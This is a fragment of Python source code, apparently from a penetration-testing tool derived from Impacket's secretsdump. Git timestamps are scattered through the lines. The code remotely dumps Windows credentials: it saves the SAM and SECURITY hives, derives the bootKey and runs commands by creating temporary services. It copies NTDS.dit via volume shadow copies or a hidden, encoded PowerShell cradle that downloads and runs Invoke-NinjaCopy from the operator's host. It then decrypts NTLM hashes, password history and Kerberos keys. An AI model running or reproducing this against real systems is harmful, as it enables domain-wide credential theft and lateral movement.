samr . USER_INTERDOMAIN_TRUST_ACCOUNT ,
enumerationContext = enumerationContext )
except DCERPCException , e :
if str ( e ) . find ( ' STATUS_MORE_ENTRIES ' ) < 0 :
raise
resp = e . get_packet ( )
return resp
2015-08-26 11:44:10 +00:00
def ridToSid ( self , rid ) :
if self . __samr is None :
self . connectSamr ( self . getMachineNameAndDomain ( ) [ 1 ] )
resp = samr . hSamrRidToSid ( self . __samr , self . __domainHandle , rid )
return resp [ ' Sid ' ]
2015-08-14 14:18:52 +00:00
def getMachineNameAndDomain ( self ) :
if self . __smbConnection . getServerName ( ) == ' ' :
# No serverName.. this is either because we're doing Kerberos
# or not receiving that data during the login process.
# Let's try getting it through RPC
rpc = transport . DCERPCTransportFactory ( r ' ncacn_np:445[ \ pipe \ wkssvc] ' )
rpc . set_smb_connection ( self . __smbConnection )
dce = rpc . get_dce_rpc ( )
dce . connect ( )
dce . bind ( wkst . MSRPC_UUID_WKST )
resp = wkst . hNetrWkstaGetInfo ( dce , 100 )
dce . disconnect ( )
return resp [ ' WkstaInfo ' ] [ ' WkstaInfo100 ' ] [ ' wki100_computername ' ] [ : - 1 ] , resp [ ' WkstaInfo ' ] [ ' WkstaInfo100 ' ] [ ' wki100_langroup ' ] [ : - 1 ]
else :
return self . __smbConnection . getServerName ( ) , self . __smbConnection . getServerDomain ( )
def getDefaultLoginAccount ( self ) :
try :
ans = rrp . hBaseRegOpenKey ( self . __rrp , self . __regHandle , ' SOFTWARE \\ Microsoft \\ Windows NT \\ CurrentVersion \\ Winlogon ' )
keyHandle = ans [ ' phkResult ' ]
dataType , dataValue = rrp . hBaseRegQueryValue ( self . __rrp , keyHandle , ' DefaultUserName ' )
username = dataValue [ : - 1 ]
dataType , dataValue = rrp . hBaseRegQueryValue ( self . __rrp , keyHandle , ' DefaultDomainName ' )
domain = dataValue [ : - 1 ]
rrp . hBaseRegCloseKey ( self . __rrp , keyHandle )
if len ( domain ) > 0 :
return ' %s \\ %s ' % ( domain , username )
else :
return username
except :
return None
def getServiceAccount ( self , serviceName ) :
try :
# Open the service
ans = scmr . hROpenServiceW ( self . __scmr , self . __scManagerHandle , serviceName )
serviceHandle = ans [ ' lpServiceHandle ' ]
resp = scmr . hRQueryServiceConfigW ( self . __scmr , serviceHandle )
account = resp [ ' lpServiceConfig ' ] [ ' lpServiceStartName ' ] [ : - 1 ]
scmr . hRCloseServiceHandle ( self . __scmr , serviceHandle )
if account . startswith ( ' . \\ ' ) :
account = account [ 2 : ]
return account
except Exception , e :
2015-08-21 02:55:39 +00:00
logging . error ( e )
2015-08-14 14:18:52 +00:00
return None
def __checkServiceStatus ( self ) :
# Open SC Manager
ans = scmr . hROpenSCManagerW ( self . __scmr )
self . __scManagerHandle = ans [ ' lpScHandle ' ]
# Now let's open the service
ans = scmr . hROpenServiceW ( self . __scmr , self . __scManagerHandle , self . __serviceName )
self . __serviceHandle = ans [ ' lpServiceHandle ' ]
# Let's check its status
ans = scmr . hRQueryServiceStatus ( self . __scmr , self . __serviceHandle )
if ans [ ' lpServiceStatus ' ] [ ' dwCurrentState ' ] == scmr . SERVICE_STOPPED :
2015-08-21 02:55:39 +00:00
logging . info ( ' Service %s is in stopped state ' % self . __serviceName )
2015-08-14 14:18:52 +00:00
self . __shouldStop = True
self . __started = False
elif ans [ ' lpServiceStatus ' ] [ ' dwCurrentState ' ] == scmr . SERVICE_RUNNING :
2015-08-21 02:55:39 +00:00
logging . debug ( ' Service %s is already running ' % self . __serviceName )
2015-08-14 14:18:52 +00:00
self . __shouldStop = False
self . __started = True
else :
raise Exception ( ' Unknown service state 0x %x - Aborting ' % ans [ ' CurrentState ' ] )
# Let's check its configuration if service is stopped, maybe it's disabled :s
if self . __started is False :
ans = scmr . hRQueryServiceConfigW ( self . __scmr , self . __serviceHandle )
if ans [ ' lpServiceConfig ' ] [ ' dwStartType ' ] == 0x4 :
2015-08-21 02:55:39 +00:00
logging . info ( ' Service %s is disabled, enabling it ' % self . __serviceName )
2015-08-14 14:18:52 +00:00
self . __disabled = True
scmr . hRChangeServiceConfigW ( self . __scmr , self . __serviceHandle , dwStartType = 0x3 )
2015-08-21 02:55:39 +00:00
logging . info ( ' Starting service %s ' % self . __serviceName )
2015-08-14 14:18:52 +00:00
scmr . hRStartServiceW ( self . __scmr , self . __serviceHandle )
sleep ( 1 )
def enableRegistry ( self ) :
self . __connectSvcCtl ( )
self . __checkServiceStatus ( )
self . __connectWinReg ( )
def __restore ( self ) :
# First of all stop the service if it was originally stopped
if self . __shouldStop is True :
2015-08-21 02:55:39 +00:00
logging . info ( ' Stopping service %s ' % self . __serviceName )
2015-08-14 14:18:52 +00:00
scmr . hRControlService ( self . __scmr , self . __serviceHandle , scmr . SERVICE_CONTROL_STOP )
if self . __disabled is True :
2015-08-21 02:55:39 +00:00
logging . info ( ' Restoring the disabled state for service %s ' % self . __serviceName )
2015-08-14 14:18:52 +00:00
scmr . hRChangeServiceConfigW ( self . __scmr , self . __serviceHandle , dwStartType = 0x4 )
if self . __serviceDeleted is False :
# Check again the service we created does not exist, starting a new connection
# Why?.. Hitting CTRL+C might break the whole existing DCE connection
try :
rpc = transport . DCERPCTransportFactory ( r ' ncacn_np: %s [ \ pipe \ svcctl] ' % self . __smbConnection . getRemoteHost ( ) )
if hasattr ( rpc , ' set_credentials ' ) :
# This method exists only for selected protocol sequences.
rpc . set_credentials ( * self . __smbConnection . getCredentials ( ) )
rpc . set_kerberos ( self . __doKerberos )
self . __scmr = rpc . get_dce_rpc ( )
self . __scmr . connect ( )
self . __scmr . bind ( scmr . MSRPC_UUID_SCMR )
# Open SC Manager
ans = scmr . hROpenSCManagerW ( self . __scmr )
self . __scManagerHandle = ans [ ' lpScHandle ' ]
# Now let's open the service
resp = scmr . hROpenServiceW ( self . __scmr , self . __scManagerHandle , self . __tmpServiceName )
service = resp [ ' lpServiceHandle ' ]
scmr . hRDeleteService ( self . __scmr , service )
scmr . hRControlService ( self . __scmr , service , scmr . SERVICE_CONTROL_STOP )
scmr . hRCloseServiceHandle ( self . __scmr , service )
scmr . hRCloseServiceHandle ( self . __scmr , self . __serviceHandle )
scmr . hRCloseServiceHandle ( self . __scmr , self . __scManagerHandle )
rpc . disconnect ( )
except Exception , e :
# If service is stopped it'll trigger an exception
# If service does not exist it'll trigger an exception
# So. we just wanna be sure we delete it, no need to
# show this exception message
pass
def finish ( self ) :
self . __restore ( )
if self . __rrp is not None :
self . __rrp . disconnect ( )
if self . __drsr is not None :
self . __drsr . disconnect ( )
if self . __samr is not None :
self . __samr . disconnect ( )
if self . __scmr is not None :
2015-10-07 20:24:03 +00:00
try :
self . __scmr . disconnect ( )
except SessionError :
pass
2015-08-14 14:18:52 +00:00
def getBootKey ( self ) :
bootKey = ' '
ans = rrp . hOpenLocalMachine ( self . __rrp )
self . __regHandle = ans [ ' phKey ' ]
for key in [ ' JD ' , ' Skew1 ' , ' GBG ' , ' Data ' ] :
2015-08-21 02:55:39 +00:00
logging . debug ( ' Retrieving class info for %s ' % key )
2015-08-14 14:18:52 +00:00
ans = rrp . hBaseRegOpenKey ( self . __rrp , self . __regHandle , ' SYSTEM \\ CurrentControlSet \\ Control \\ Lsa \\ %s ' % key )
keyHandle = ans [ ' phkResult ' ]
2015-10-07 20:24:03 +00:00
ans = rrp . hBaseRegQueryInfoKey ( self . __rrp , keyHandle )
2015-08-14 14:18:52 +00:00
bootKey = bootKey + ans [ ' lpClassOut ' ] [ : - 1 ]
rrp . hBaseRegCloseKey ( self . __rrp , keyHandle )
transforms = [ 8 , 5 , 4 , 2 , 11 , 9 , 13 , 3 , 0 , 6 , 1 , 12 , 14 , 10 , 15 , 7 ]
bootKey = unhexlify ( bootKey )
for i in xrange ( len ( bootKey ) ) :
self . __bootKey + = bootKey [ transforms [ i ] ]
2015-08-21 02:55:39 +00:00
logging . info ( ' Target system bootKey: 0x %s ' % hexlify ( self . __bootKey ) )
2015-08-14 14:18:52 +00:00
return self . __bootKey
2015-10-07 20:24:03 +00:00
def checkUAC ( self ) :
ans = rrp . hOpenLocalMachine ( self . __rrp )
self . __regHandle = ans [ ' phKey ' ]
ans = rrp . hBaseRegOpenKey ( self . __rrp , self . __regHandle , ' SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Policies \\ System ' )
keyHandle = ans [ ' phkResult ' ]
dataType , uac_value = rrp . hBaseRegQueryValue ( self . __rrp , keyHandle , ' EnableLUA ' )
rrp . hBaseRegCloseKey ( self . __rrp , keyHandle )
return uac_value
2015-08-14 14:18:52 +00:00
def checkNoLMHashPolicy ( self ) :
2015-08-21 02:55:39 +00:00
logging . debug ( ' Checking NoLMHash Policy ' )
2015-08-14 14:18:52 +00:00
ans = rrp . hOpenLocalMachine ( self . __rrp )
self . __regHandle = ans [ ' phKey ' ]
ans = rrp . hBaseRegOpenKey ( self . __rrp , self . __regHandle , ' SYSTEM \\ CurrentControlSet \\ Control \\ Lsa ' )
keyHandle = ans [ ' phkResult ' ]
try :
dataType , noLMHash = rrp . hBaseRegQueryValue ( self . __rrp , keyHandle , ' NoLmHash ' )
except :
noLMHash = 0
if noLMHash != 1 :
2015-08-21 02:55:39 +00:00
logging . debug ( ' LMHashes are being stored ' )
2015-08-14 14:18:52 +00:00
return False
2015-08-21 02:55:39 +00:00
logging . debug ( ' LMHashes are NOT being stored ' )
2015-08-14 14:18:52 +00:00
return True
def __retrieveHive ( self , hiveName ) :
tmpFileName = ' ' . join ( [ random . choice ( string . letters ) for _ in range ( 8 ) ] ) + ' .tmp '
ans = rrp . hOpenLocalMachine ( self . __rrp )
regHandle = ans [ ' phKey ' ]
try :
ans = rrp . hBaseRegCreateKey ( self . __rrp , regHandle , hiveName )
except :
raise Exception ( " Can ' t open %s hive " % hiveName )
keyHandle = ans [ ' phkResult ' ]
rrp . hBaseRegSaveKey ( self . __rrp , keyHandle , tmpFileName )
rrp . hBaseRegCloseKey ( self . __rrp , keyHandle )
rrp . hBaseRegCloseKey ( self . __rrp , regHandle )
# Now let's open the remote file, so it can be read later
remoteFileName = RemoteFile ( self . __smbConnection , ' SYSTEM32 \\ ' + tmpFileName )
return remoteFileName
def saveSAM ( self ) :
2015-08-21 02:55:39 +00:00
logging . debug ( ' Saving remote SAM database ' )
2015-08-14 14:18:52 +00:00
return self . __retrieveHive ( ' SAM ' )
def saveSECURITY ( self ) :
2015-08-21 02:55:39 +00:00
logging . debug ( ' Saving remote SECURITY database ' )
2015-08-14 14:18:52 +00:00
return self . __retrieveHive ( ' SECURITY ' )
def __executeRemote ( self , data ) :
self . __tmpServiceName = ' ' . join ( [ random . choice ( string . letters ) for _ in range ( 8 ) ] ) . encode ( ' utf-16le ' )
command = self . __shell + ' echo ' + data + ' ^> ' + self . __output + ' > ' + self . __batchFile + ' & ' + self . __shell + self . __batchFile
command + = ' & ' + ' del ' + self . __batchFile
self . __serviceDeleted = False
resp = scmr . hRCreateServiceW ( self . __scmr , self . __scManagerHandle , self . __tmpServiceName , self . __tmpServiceName , lpBinaryPathName = command )
service = resp [ ' lpServiceHandle ' ]
try :
scmr . hRStartServiceW ( self . __scmr , service )
except :
pass
scmr . hRDeleteService ( self . __scmr , service )
self . __serviceDeleted = True
scmr . hRCloseServiceHandle ( self . __scmr , service )
2015-08-21 02:55:39 +00:00
2015-08-14 14:18:52 +00:00
def __answer ( self , data ) :
self . __answerTMP + = data
def __getLastVSS ( self ) :
self . __executeRemote ( ' % COMSPEC % /C vssadmin list shadows ' )
sleep ( 5 )
tries = 0
while True :
try :
2015-08-21 02:55:39 +00:00
self . __smbConnection . getFile ( ' ADMIN$ ' , ' Temp \\ ' + OUTPUT_FILENAME , self . __answer )
2015-08-14 14:18:52 +00:00
break
except Exception , e :
if tries > 30 :
# We give up
raise Exception ( ' Too many tries trying to list vss shadows ' )
if str ( e ) . find ( ' SHARING ' ) > 0 :
# Stuff didn't finish yet.. wait more
sleep ( 5 )
tries + = 1
pass
else :
raise
lines = self . __answerTMP . split ( ' \n ' )
lastShadow = ' '
lastShadowFor = ' '
# Let's find the last one
# The string used to search the shadow for drive. Wondering what happens
# in other languages
SHADOWFOR = ' Volume: ( '
for line in lines :
if line . find ( ' GLOBALROOT ' ) > 0 :
lastShadow = line [ line . find ( ' \\ \\ ? ' ) : ] [ : - 1 ]
elif line . find ( SHADOWFOR ) > 0 :
lastShadowFor = line [ line . find ( SHADOWFOR ) + len ( SHADOWFOR ) : ] [ : 2 ]
2015-08-21 02:55:39 +00:00
self . __smbConnection . deleteFile ( ' ADMIN$ ' , ' Temp \\ ' + OUTPUT_FILENAME )
2015-08-14 14:18:52 +00:00
return lastShadow , lastShadowFor
2015-08-21 02:55:39 +00:00
def saveNTDS ( self , ninja = False ) :
logging . info ( ' Searching for NTDS.dit ' )
2015-08-14 14:18:52 +00:00
# First of all, let's try to read the target NTDS.dit registry entry
ans = rrp . hOpenLocalMachine ( self . __rrp )
regHandle = ans [ ' phKey ' ]
try :
ans = rrp . hBaseRegOpenKey ( self . __rrp , self . __regHandle , ' SYSTEM \\ CurrentControlSet \\ Services \\ NTDS \\ Parameters ' )
keyHandle = ans [ ' phkResult ' ]
except :
# Can't open the registry path, assuming no NTDS on the other end
return None
try :
dataType , dataValue = rrp . hBaseRegQueryValue ( self . __rrp , keyHandle , ' DSA Database file ' )
ntdsLocation = dataValue [ : - 1 ]
ntdsDrive = ntdsLocation [ : 2 ]
except :
# Can't open the registry path, assuming no NTDS on the other end
return None
rrp . hBaseRegCloseKey ( self . __rrp , keyHandle )
rrp . hBaseRegCloseKey ( self . __rrp , regHandle )
2015-08-21 02:55:39 +00:00
if ninja is True :
logging . info ( ' Registry says NTDS.dit is at %s ' % ntdsLocation )
tmpFileName = ' ' . join ( [ random . choice ( string . letters ) for _ in range ( 8 ) ] ) + ' .tmp '
local_ip = self . __smbConnection . getSMBServer ( ) . get_socket ( ) . getsockname ( ) [ 0 ]
2015-10-16 21:31:59 +00:00
protocol = ' http '
if args . ssl : protocol = ' https '
2015-08-21 02:55:39 +00:00
command = """
2015-10-16 21:31:59 +00:00
IEX ( New - Object Net . WebClient ) . DownloadString ( ' {protocol} :// {addr} /Invoke-NinjaCopy.ps1 ' ) ;
2015-08-21 02:55:39 +00:00
Invoke - NinjaCopy - Path " {ntdspath} " - LocalDestination " $env:systemroot \\ Temp \\ {tmpname} " ;
2015-10-16 21:31:59 +00:00
""" .format(protocol=protocol, addr=local_ip, ntdspath=ntdsLocation, tmpname=tmpFileName)
self . __executeRemote ( ' %% COMSPEC %% /C powershell.exe -exec bypass -window hidden -noni -nop -encoded %s ' % ps_command ( command ) )
2015-08-21 02:55:39 +00:00
remoteFileName = RemoteFile ( self . __smbConnection , ' Temp \\ %s ' % tmpFileName )
2015-08-14 14:18:52 +00:00
else :
2015-08-21 02:55:39 +00:00
logging . info ( ' Registry says NTDS.dit is at %s . Calling vssadmin to get a copy. This might take some time ' % ntdsLocation )
# Get the list of remote shadows
shadow , shadowFor = self . __getLastVSS ( )
if shadow == ' ' or ( shadow != ' ' and shadowFor != ntdsDrive ) :
# No shadow, create one
self . __executeRemote ( ' %% COMSPEC %% /C vssadmin create shadow /For= %s ' % ntdsDrive )
shadow , shadowFor = self . __getLastVSS ( )
shouldRemove = True
if shadow == ' ' :
raise Exception ( ' Could not get a VSS ' )
else :
shouldRemove = False
2015-08-14 14:18:52 +00:00
2015-08-21 02:55:39 +00:00
# Now copy the ntds.dit to the temp directory
tmpFileName = ' ' . join ( [ random . choice ( string . letters ) for _ in range ( 8 ) ] ) + ' .tmp '
2015-08-14 14:18:52 +00:00
2015-08-21 02:55:39 +00:00
self . __executeRemote ( ' %% COMSPEC %% /C copy %s %s %% SYSTEMROOT %% \\ Temp \\ %s ' % ( shadow , ntdsLocation [ 2 : ] , tmpFileName ) )
2015-08-14 14:18:52 +00:00
2015-08-21 02:55:39 +00:00
if shouldRemove is True :
self . __executeRemote ( ' %% COMSPEC %% /C vssadmin delete shadows /For= %s /Quiet ' % ntdsDrive )
2015-08-14 14:18:52 +00:00
2015-08-21 02:55:39 +00:00
self . __smbConnection . deleteFile ( ' ADMIN$ ' , ' Temp \\ ' + OUTPUT_FILENAME )
2015-08-14 14:18:52 +00:00
2015-08-21 02:55:39 +00:00
remoteFileName = RemoteFile ( self . __smbConnection , ' Temp \\ %s ' % tmpFileName )
2015-08-14 14:18:52 +00:00
return remoteFileName
2015-08-20 21:33:18 +00:00
class NTDSHashes :
NAME_TO_INTERNAL = {
' uSNCreated ' : ' ATTq131091 ' ,
' uSNChanged ' : ' ATTq131192 ' ,
' name ' : ' ATTm3 ' ,
' objectGUID ' : ' ATTk589826 ' ,
' objectSid ' : ' ATTr589970 ' ,
' userAccountControl ' : ' ATTj589832 ' ,
' primaryGroupID ' : ' ATTj589922 ' ,
' accountExpires ' : ' ATTq589983 ' ,
' logonCount ' : ' ATTj589993 ' ,
' sAMAccountName ' : ' ATTm590045 ' ,
' sAMAccountType ' : ' ATTj590126 ' ,
' lastLogonTimestamp ' : ' ATTq589876 ' ,
' userPrincipalName ' : ' ATTm590480 ' ,
' unicodePwd ' : ' ATTk589914 ' ,
' dBCSPwd ' : ' ATTk589879 ' ,
' ntPwdHistory ' : ' ATTk589918 ' ,
' lmPwdHistory ' : ' ATTk589984 ' ,
' pekList ' : ' ATTk590689 ' ,
' supplementalCredentials ' : ' ATTk589949 ' ,
}
NAME_TO_ATTRTYP = {
' userPrincipalName ' : 0x90290 ,
' sAMAccountName ' : 0x900DD ,
' unicodePwd ' : 0x9005A ,
' dBCSPwd ' : 0x90037 ,
' ntPwdHistory ' : 0x9005E ,
' lmPwdHistory ' : 0x900A0 ,
' supplementalCredentials ' : 0x9007D ,
' objectSid ' : 0x90092 ,
}
KERBEROS_TYPE = {
1 : ' dec-cbc-crc ' ,
3 : ' des-cbc-md5 ' ,
17 : ' aes128-cts-hmac-sha1-96 ' ,
18 : ' aes256-cts-hmac-sha1-96 ' ,
0xffffff74 : ' rc4_hmac ' ,
}
INTERNAL_TO_NAME = dict ( ( v , k ) for k , v in NAME_TO_INTERNAL . iteritems ( ) )
SAM_NORMAL_USER_ACCOUNT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_TRUST_ACCOUNT = 0x30000002
ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT , SAM_MACHINE_ACCOUNT , SAM_TRUST_ACCOUNT )
class PEK_KEY ( Structure ) :
structure = (
( ' Header ' , ' 8s= " " ' ) ,
( ' KeyMaterial ' , ' 16s= " " ' ) ,
( ' EncryptedPek ' , ' 52s= " " ' ) ,
)
class CRYPTED_HASH ( Structure ) :
structure = (
( ' Header ' , ' 8s= " " ' ) ,
( ' KeyMaterial ' , ' 16s= " " ' ) ,
( ' EncryptedHash ' , ' 16s= " " ' ) ,
)
class CRYPTED_HISTORY ( Structure ) :
structure = (
( ' Header ' , ' 8s= " " ' ) ,
( ' KeyMaterial ' , ' 16s= " " ' ) ,
( ' EncryptedHash ' , ' : ' ) ,
)
class CRYPTED_BLOB ( Structure ) :
structure = (
( ' Header ' , ' 8s= " " ' ) ,
( ' KeyMaterial ' , ' 16s= " " ' ) ,
( ' EncryptedHash ' , ' : ' ) ,
)
def __init__ ( self , ntdsFile , bootKey , noLMHash = True , remoteOps = None , useVSSMethod = False ) :
self . __bootKey = bootKey
self . __NTDS = ntdsFile
self . __history = False
self . __noLMHash = noLMHash
self . __useVSSMethod = useVSSMethod
self . dumped_hashes = { ' hashes ' : [ ] , ' kerb ' : [ ] }
self . __remoteOps = remoteOps
if self . __NTDS is not None :
self . __ESEDB = ESENT_DB ( ntdsFile , isRemote = True )
self . __cursor = self . __ESEDB . openTable ( ' datatable ' )
self . __tmpUsers = list ( )
self . __PEK = None
self . __cryptoCommon = CryptoCommon ( )
self . __hashesFound = { }
self . __kerberosKeys = OrderedDict ( )
def __getPek ( self ) :
logging . info ( ' Searching for pekList, be patient ' )
pek = None
while True :
record = self . __ESEDB . getNextRow ( self . __cursor )
if record is None :
break
elif record [ self . NAME_TO_INTERNAL [ ' pekList ' ] ] is not None :
pek = unhexlify ( record [ self . NAME_TO_INTERNAL [ ' pekList ' ] ] )
break
elif record [ self . NAME_TO_INTERNAL [ ' sAMAccountType ' ] ] in self . ACCOUNT_TYPES :
# Okey.. we found some users, but we're not yet ready to process them.
# Let's just store them in a temp list
self . __tmpUsers . append ( record )
if pek is not None :
encryptedPek = self . PEK_KEY ( pek )
md5 = hashlib . new ( ' md5 ' )
md5 . update ( self . __bootKey )
for i in range ( 1000 ) :
md5 . update ( encryptedPek [ ' KeyMaterial ' ] )
tmpKey = md5 . digest ( )
rc4 = ARC4 . new ( tmpKey )
plainText = rc4 . encrypt ( encryptedPek [ ' EncryptedPek ' ] )
self . __PEK = plainText [ 36 : ]
def __removeRC4Layer ( self , cryptedHash ) :
md5 = hashlib . new ( ' md5 ' )
md5 . update ( self . __PEK )
md5 . update ( cryptedHash [ ' KeyMaterial ' ] )
tmpKey = md5 . digest ( )
rc4 = ARC4 . new ( tmpKey )
plainText = rc4 . encrypt ( cryptedHash [ ' EncryptedHash ' ] )
return plainText
def __removeDESLayer ( self , cryptedHash , rid ) :
Key1 , Key2 = self . __cryptoCommon . deriveKey ( int ( rid ) )
Crypt1 = DES . new ( Key1 , DES . MODE_ECB )
Crypt2 = DES . new ( Key2 , DES . MODE_ECB )
decryptedHash = Crypt1 . decrypt ( cryptedHash [ : 8 ] ) + Crypt2 . decrypt ( cryptedHash [ 8 : ] )
return decryptedHash
def __decryptSupplementalInfo ( self , record , rid = None ) :
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
haveInfo = False
if self . __useVSSMethod is True :
if record [ self . NAME_TO_INTERNAL [ ' supplementalCredentials ' ] ] is not None :
if len ( unhexlify ( record [ self . NAME_TO_INTERNAL [ ' supplementalCredentials ' ] ] ) ) > 24 :
if record [ self . NAME_TO_INTERNAL [ ' userPrincipalName ' ] ] is not None :
domain = record [ self . NAME_TO_INTERNAL [ ' userPrincipalName ' ] ] . split ( ' @ ' ) [ - 1 ]
userName = ' %s \\ %s ' % ( domain , record [ self . NAME_TO_INTERNAL [ ' sAMAccountName ' ] ] )
else :
userName = ' %s ' % record [ self . NAME_TO_INTERNAL [ ' sAMAccountName ' ] ]
cipherText = self . CRYPTED_BLOB ( unhexlify ( record [ self . NAME_TO_INTERNAL [ ' supplementalCredentials ' ] ] ) )
plainText = self . __removeRC4Layer ( cipherText )
haveInfo = True
else :
domain = None
userName = None
for attr in record [ ' pmsgOut ' ] [ ' V6 ' ] [ ' pObjects ' ] [ ' Entinf ' ] [ ' AttrBlock ' ] [ ' pAttr ' ] :
if attr [ ' attrTyp ' ] == self . NAME_TO_ATTRTYP [ ' userPrincipalName ' ] :
if attr [ ' AttrVal ' ] [ ' valCount ' ] > 0 :
try :
domain = ' ' . join ( attr [ ' AttrVal ' ] [ ' pAVal ' ] [ 0 ] [ ' pVal ' ] ) . decode ( ' utf-16le ' ) . split ( ' @ ' ) [ - 1 ]
except :
domain = None
else :
domain = None
elif attr [ ' attrTyp ' ] == self . NAME_TO_ATTRTYP [ ' sAMAccountName ' ] :
if attr [ ' AttrVal ' ] [ ' valCount ' ] > 0 :
try :
userName = ' ' . join ( attr [ ' AttrVal ' ] [ ' pAVal ' ] [ 0 ] [ ' pVal ' ] ) . decode ( ' utf-16le ' )
except :
logging . error ( ' Cannot get sAMAccountName for %s ' % record [ ' pmsgOut ' ] [ ' V6 ' ] [ ' pNC ' ] [ ' StringName ' ] [ : - 1 ] )
userName = ' unknown '
else :
logging . error ( ' Cannot get sAMAccountName for %s ' % record [ ' pmsgOut ' ] [ ' V6 ' ] [ ' pNC ' ] [ ' StringName ' ] [ : - 1 ] )
userName = ' unknown '
if attr [ ' attrTyp ' ] == self . NAME_TO_ATTRTYP [ ' supplementalCredentials ' ] :
if attr [ ' AttrVal ' ] [ ' valCount ' ] > 0 :
blob = ' ' . join ( attr [ ' AttrVal ' ] [ ' pAVal ' ] [ 0 ] [ ' pVal ' ] )
plainText = drsuapi . DecryptAttributeValue ( self . __remoteOps . getDrsr ( ) , blob )
if len ( plainText ) > 24 :
haveInfo = True
if domain is not None :
userName = ' %s \\ %s ' % ( domain , userName )
if haveInfo is True :
try :
userProperties = samr . USER_PROPERTIES ( plainText )
except :
# On some old w2k3 there might be user properties that don't
# match [MS-SAMR] structure, discarding them
return
propertiesData = userProperties [ ' UserProperties ' ]
for propertyCount in range ( userProperties [ ' PropertyCount ' ] ) :
userProperty = samr . USER_PROPERTY ( propertiesData )
propertiesData = propertiesData [ len ( userProperty ) : ]
# For now, we will only process Newer Kerberos Keys.
if userProperty [ ' PropertyName ' ] . decode ( ' utf-16le ' ) == ' Primary:Kerberos-Newer-Keys ' :
propertyValueBuffer = unhexlify ( userProperty [ ' PropertyValue ' ] )
kerbStoredCredentialNew = samr . KERB_STORED_CREDENTIAL_NEW ( propertyValueBuffer )
data = kerbStoredCredentialNew [ ' Buffer ' ]
for credential in range ( kerbStoredCredentialNew [ ' CredentialCount ' ] ) :
keyDataNew = samr . KERB_KEY_DATA_NEW ( data )
data = data [ len ( keyDataNew ) : ]
keyValue = propertyValueBuffer [ keyDataNew [ ' KeyOffset ' ] : ] [ : keyDataNew [ ' KeyLength ' ] ]
if self . KERBEROS_TYPE . has_key ( keyDataNew [ ' KeyType ' ] ) :
answer = " %s : %s : %s " % ( userName , self . KERBEROS_TYPE [ keyDataNew [ ' KeyType ' ] ] , hexlify ( keyValue ) )
else :
answer = " %s : %s : %s " % ( userName , hex ( keyDataNew [ ' KeyType ' ] ) , hexlify ( keyValue ) )
# We're just storing the keys, not printing them, to make the output more readable
# This is kind of ugly... but it's what I came up with tonight to get an ordered
# set :P. Better ideas welcomed ;)
self . __kerberosKeys [ answer ] = None
def __decryptHash ( self , record , rid = None ) :
if self . __useVSSMethod is True :
logging . debug ( ' Decrypting hash for user: %s ' % record [ self . NAME_TO_INTERNAL [ ' name ' ] ] )
sid = SAMR_RPC_SID ( unhexlify ( record [ self . NAME_TO_INTERNAL [ ' objectSid ' ] ] ) )
rid = sid . formatCanonical ( ) . split ( ' - ' ) [ - 1 ]
if record [ self . NAME_TO_INTERNAL [ ' dBCSPwd ' ] ] is not None :
encryptedLMHash = self . CRYPTED_HASH ( unhexlify ( record [ self . NAME_TO_INTERNAL [ ' dBCSPwd ' ] ] ) )
tmpLMHash = self . __removeRC4Layer ( encryptedLMHash )
LMHash = self . __removeDESLayer ( tmpLMHash , rid )
else :
LMHash = ntlm . LMOWFv1 ( ' ' , ' ' )
if record [ self . NAME_TO_INTERNAL [ ' unicodePwd ' ] ] is not None :
encryptedNTHash = self . CRYPTED_HASH ( unhexlify ( record [ self . NAME_TO_INTERNAL [ ' unicodePwd ' ] ] ) )
tmpNTHash = self . __removeRC4Layer ( encryptedNTHash )
NTHash = self . __removeDESLayer ( tmpNTHash , rid )
else :
NTHash = ntlm . NTOWFv1 ( ' ' , ' ' )
if record [ self . NAME_TO_INTERNAL [ ' userPrincipalName ' ] ] is not None :
domain = record [ self . NAME_TO_INTERNAL [ ' userPrincipalName ' ] ] . split ( ' @ ' ) [ - 1 ]
userName = ' %s \\ %s ' % ( domain , record [ self . NAME_TO_INTERNAL [ ' sAMAccountName ' ] ] )
else :
userName = ' %s ' % record [ self . NAME_TO_INTERNAL [ ' sAMAccountName ' ] ]
answer = " %s : %s : %s : %s ::: " % ( userName , rid , hexlify ( LMHash ) , hexlify ( NTHash ) )
self . __hashesFound [ unhexlify ( record [ self . NAME_TO_INTERNAL [ ' objectSid ' ] ] ) ] = answer
self . dumped_hashes [ ' hashes ' ] . append ( answer )
if self . __history :
LMHistory = [ ]
NTHistory = [ ]
if record [ self . NAME_TO_INTERNAL [ ' lmPwdHistory ' ] ] is not None :
encryptedLMHistory = self . CRYPTED_HISTORY ( unhexlify ( record [ self . NAME_TO_INTERNAL [ ' lmPwdHistory ' ] ] ) )
tmpLMHistory = self . __removeRC4Layer ( encryptedLMHistory )
for i in range ( 0 , len ( tmpLMHistory ) / 16 ) :
LMHash = self . __removeDESLayer ( tmpLMHistory [ i * 16 : ( i + 1 ) * 16 ] , rid )
LMHistory . append ( LMHash )
if record [ self . NAME_TO_INTERNAL [ ' ntPwdHistory ' ] ] is not None :
encryptedNTHistory = self . CRYPTED_HISTORY ( unhexlify ( record [ self . NAME_TO_INTERNAL [ ' ntPwdHistory ' ] ] ) )
tmpNTHistory = self . __removeRC4Layer ( encryptedNTHistory )
for i in range ( 0 , len ( tmpNTHistory ) / 16 ) :
NTHash = self . __removeDESLayer ( tmpNTHistory [ i * 16 : ( i + 1 ) * 16 ] , rid )
NTHistory . append ( NTHash )
for i , ( LMHash , NTHash ) in enumerate (
map ( lambda l , n : ( l , n ) if l else ( ' ' , n ) , LMHistory [ 1 : ] , NTHistory [ 1 : ] ) ) :
if self . __noLMHash :
lmhash = hexlify ( ntlm . LMOWFv1 ( ' ' , ' ' ) )
else :
lmhash = hexlify ( LMHash )
answer = " %s _history %d : %s : %s : %s ::: " % ( userName , i , rid , lmhash , hexlify ( NTHash ) )
self . __hashesFound [ unhexlify ( record [ self . NAME_TO_INTERNAL [ ' objectSid ' ] ] ) + str ( i ) ] = answer
self . dumped_hashes [ ' hashes ' ] . append ( answer )
else :
logging . debug ( ' Decrypting hash for user: %s ' % record [ ' pmsgOut ' ] [ ' V6 ' ] [ ' pNC ' ] [ ' StringName ' ] [ : - 1 ] )
domain = None
if self . __history :
LMHistory = [ ]
NTHistory = [ ]
